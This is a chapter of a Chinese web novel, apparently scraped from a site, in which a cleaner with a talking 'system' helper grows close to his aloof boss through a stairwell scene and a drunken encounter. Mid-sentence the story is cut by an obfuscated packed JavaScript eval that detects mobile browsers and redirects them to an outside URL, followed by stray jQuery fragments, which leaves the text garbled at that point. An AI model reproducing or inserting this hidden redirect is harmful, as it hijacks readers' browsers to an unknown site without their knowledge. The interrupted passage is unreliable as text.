1
今天一来赵一白就发现了不对劲。
看到坐在轮椅上那个身残志坚的身影,他心里了然,原来是经理回来了。
他双手环胸,听着白蔹和经理说离职的事。
经理百般挽留,不惜提出涨薪资这种割肉放血的条件。
白蔹没有说话。
经理见缝插针,让白蔹再多待一段时间。
他一边听一边点头。
涨薪资啊,涨薪资好啊。
只是没想到白蔹还是个高材生,出来勤工俭学,过段时间就要考研了。
【白蔹考研失败了】
“为什么。”他问。
【一旦考研成功,白蔹就会跟随导师出国,钱柏津不会允许这种事情发生】
说完,9990一脸振奋:【宿主,这就是你的机会,你完全可以趁这个时间趁虚而入,超越钱柏津,取代他主角的地位!】
【宿主,我帮你规划好了,你先去提升一下学历,放心,我会给你一个临时光环,你一定能事半功倍,接下来……】
“确实是个不错的机会。”赵一白摸着下巴。
9990眼睛一亮。
【没错,主角你终于醒悟了!】
“我又不考研,有的是时间可以上位。”
9990一脸麻木,慢慢蹲下身体抱住了自己。
赵一白一脸满意,抬着下巴走向工具间。
努力之前先让他养精蓄锐。
结果走过去一看,发现工具间锁了。
啧。
——
楼梯间一片漆黑,伸手不见五指。
这里是消防通道,直通地下停车场,平常谁也不会来。
赵一白靠坐在躺椅上,撑着下巴打了个哈欠,半睡不醒地听着前面的说话声。
“钱柏津,我想了很多,越想越觉得目前的状态不是我想要的。”
白蔹深吸一口气,想要和钱柏津好好谈谈。
他语气缓和:“钱柏津,我们都需要一点时间想清楚,你能明白吗。”
他无法否认钱柏津给他提供的帮助与内心的悸动,可从某种程度上来说,这也同样给他带来了极大的心理压力。
只是很显然,他诚恳的语气并不能撼动一个上位者冷硬如铁的内心。
“需要什么时间。”
黑暗中的声音冷得让人心里发寒。
白蔹心口一滞,瞬间应激式的生出了怒气。
“那就不用谈了!”
白蔹声音颤抖,转身就走,钱柏津立刻伸出手。
赵一白正在摸墙上的开关,突然被抓住了手。
他停下动作,转头看向前方。
“小白。”
低沉的声音似乎蕴含着满腹的深情,透着难以齿口的压抑。
赵一白垂眸看向自己被拉住的手,又看向那张蒙在黑暗中的脸。
微凉的指尖将他抓得很紧,充满了克制。
可越克制越压抑,不经意间勾住的指尖带着说不出口的缠.绵。
“小白……”
白蔹低下头,疲惫地开口:“钱柏津,我很感谢你的资助,但是,我现在觉得我们之间应该停在资助与被资助人的关系。”
赵一白眼睫微动,感觉到手上的力道握得更重,隐隐有些颤抖。
可说话的人语气还是一如既往的冰冷,透着上位者的威压。
“不可能!”
“就这样吧。”白蔹叹出一口气。
“小白!”
骨节分明的指尖伸进了赵一白的指缝牢牢将他扣住。
如此用力的纠缠似乎是对方所能做出最出格的举动。
而生涩的指尖带着不易察觉的紧张,竟像第一次牵手那样生疏。
赵一白抬头看着前方一动不动。
然而,白蔹还是没有回头。
赵一白注视着在门打开的瞬间被光影照亮的那张脸,震动的瞳孔失了往日的体面。
看到这一幕的赵一白眼睫微垂,脸上看不出情绪波动。
门合上,黑暗重新侵蚀整个空间。
随着寂静蔓延,钱柏津终于反应过来,语气锐利:“谁!”
“咔哒”一声,小小的灯照亮了楼梯间,赵一白坐在躺椅上,抬着手,看着钱柏津开口:“老板,我还没开展卖身的业务。”
钱柏津飞快地抽回手,赵一白发出一声轻笑。
冰冷的空气重新包裹了手指,卷走剩余的一点温度,赵一白收回手,蜷起了指尖。
他旁若无人地站起身,一脚将躺椅踢回墙角,伸了个懒腰说:“这天是越来越冷了。”
拉开门,回头看向神情晦暗的钱柏津,他后退一步,笑道:“老板,你先请。”
钱柏津抿着唇,冷冷地收回视线,抬脚走了出去。
关上门,脚步声不远不近地跟在钱柏津的身后。
钱柏津眉头微蹙,不由得收紧指尖。
此时此刻,指缝似乎还残留着勾缠时的触感,挑衅般萦绕在他的心头。
真是,不像话的保洁。
他冷哼一声,握紧手指,单手插兜。
赵一白停下脚步,直直地看着钱柏津的动作。
——
即便历经报应也没能杀灭经理那颗尖酸刻薄的心。
他拿着钥匙,口水肆意喷吐。
“以后工具间和换衣间限时使用,有需要来向我打申请,别以为我不知道你们之中有些人,工作不好好干,天天想着占夜店的便宜,这里是工作场所,不是你们的家!”
说完,经理冷哼一声,坚强地推着轮椅离开,突觉后颈发凉,立马警觉地回头。
赵一白啧了一声,可惜地收回手。
服务生聚在一起,小声嘟囔着经理越来越小气,小心雨天被雷劈中。
听着那些层出不穷的诅咒,赵一白为善良的自己发出一声叹息。
他转身离开,身后传来一道声音。
“我觉得你说得对,但我又觉得人不应该只有一种选择。”
赵一白停下脚步,回头看向白蔹。
“你认为我应该怎么选。”白蔹看着他。
对于这个问题,赵一白面不改色地张开嘴:“当断不断,必受其乱。”
留在原地的白蔹微微一怔,随即垂下眼,脸上带着深思的表情。
赵一白转过身,满意地点了点头。
9990幽幽地开口:【你说这句话是什么意思】
赵一白抬起下巴:“拯救失足青年。”
9990一脸愤怒。
想要失足的明明是你!
——
赵一白拿着工具懒散地打扫包厢,地上的瓜子皮顽强地打着转,不知道的还以为他把瓜子皮当陀螺玩。
“你怎么回事,连保洁的工作都做不好。”
他转过身,经理拍着轮椅扶手,瞪着他怒斥:“还不快去把205打扫干净!”
他直起身体,把拖把夹在腋下,一手提着桶。
“知道了。”
拖把一甩,“啪”地打上经理的脸。
“咳……呸!”
经理狠狠地转头。
明天就把这个姓张的开除!
推开205的门,里面闪烁着五彩斑斓的灯光,却不见半分奢靡,反而让空间更显昏暗压抑。
坐在沙发上的人用指尖抹着桌面,面无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635147|206541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
表情地开口:“这就是你工作的态度。”
赵一白一脸严肃。
懂了。
当老板说态度,就要拿出态度。
他大步走过去,高挑的影子顷刻间就将沙发上的钱柏津包裹。
钱柏津侧过头,神态冷静。
下一刻,赵一白抓住钱柏津的手,用衣服把沾了灰的手指擦干净。
钱柏津愣了两秒。
“你……”
“好了,干净了。”
钱柏津收回手,皱起眉头。
桌上放着半瓶酒,目测至少喝了两杯,难怪一靠近就觉得酒气比平时还要重。
赵一白若无其事的从桌上收回视线,看向那个紧盯着自己手指不放的人。
“老板,还有哪里需要我的态度。”他低声发问。
钱柏津站起身,脚步猛地一晃,赵一白立即伸出手,面不改色地拦在钱柏津的腰后。
喝醉的人没有道理可言,平时的克制与矜贵也转为更加外露的霸道。
只见眼神睥睨的人抬起被擦干净的手指,用力点着赵一白的胸口。
说实话,那张冰冷的脸看起来威势逼人,如果不是站都站不稳,根本看不出已经喝醉。
赵一白垂眸看了眼戳着自己胸口的手指,等待着这个霸道总裁说出沉海喂鱼的壮言,却听面前的人冷冰冰地张开嘴。
“我讨厌你!”
赵一白神情一顿,挑起眉,眸色骤然加深。
昂首挺胸的人向他逼近,每走一步,身形都微微一晃。
赵一白的手拦在对方的腰侧,对方进一步,他退一步,一双眼睛直勾勾地盯着眼前的人。
“你一点也不礼貌。”
充满磁性的嗓音透着沙哑,明明眼神涣散,却依旧居高临下地俯视着他。
“一点也不守规矩。”
赵一白继续后退,身前的人持续逼近。
“我讨厌你。”
受过高等教育的人语言匮乏的可怕。
在这种充满仗势欺人的氛围下,一个大男人居然能如此可爱,可爱到让赵一白心惊。
他靠上墙,和他鞋尖相抵的人盯着他认真地开口。
“你这个讨厌鬼。”
赵一白滚动着喉结。
说完,威势逼人的人泄了力,晃动着身体,一手撑着墙,低着头不再说话。
赵一白侧过头,垂眸看向那张低头不语的脸,张开嘴,温热的呼吸打上唇边的耳廓。
“老板,你喝醉了。”
安静的空气没有任何回应。
赵一白垂着眼静立不动。
——
不知过了多久,撑在墙上的手不知不觉地握紧,低着头的人哑着嗓子开口:“出去。”
赵一白眉梢一挑,瞥向那张更加低垂的脸。
“老板,需要我帮你叫……”
“出去!”
这次声音带了一点恼羞成怒。
赵一白嘴角一勾,轻声道:“好的。”
他放下轻扶在对方腰上的手,只是刚走到门口,身后传来压低的声音。
“你知道什么该说,什么不该说。”
赵一白停下脚步,不紧不慢道:“什么该说,什么不该说,不如老板告诉我。”
低着头的人猛地抬头:“赵一白!”
赵一白眉眼弯弯,站在灯光下笑着点头:“知道了。”
钱柏津看着那张被光晕笼罩的脸,转头移开了视线。
厚重的门缓缓合上,屏蔽了外面的声音与光线。
钱柏津紧抿着唇,一拳砸上了墙。
而门外的赵一白摩挲着指尖,不知想到什么,垂眸笑出了声。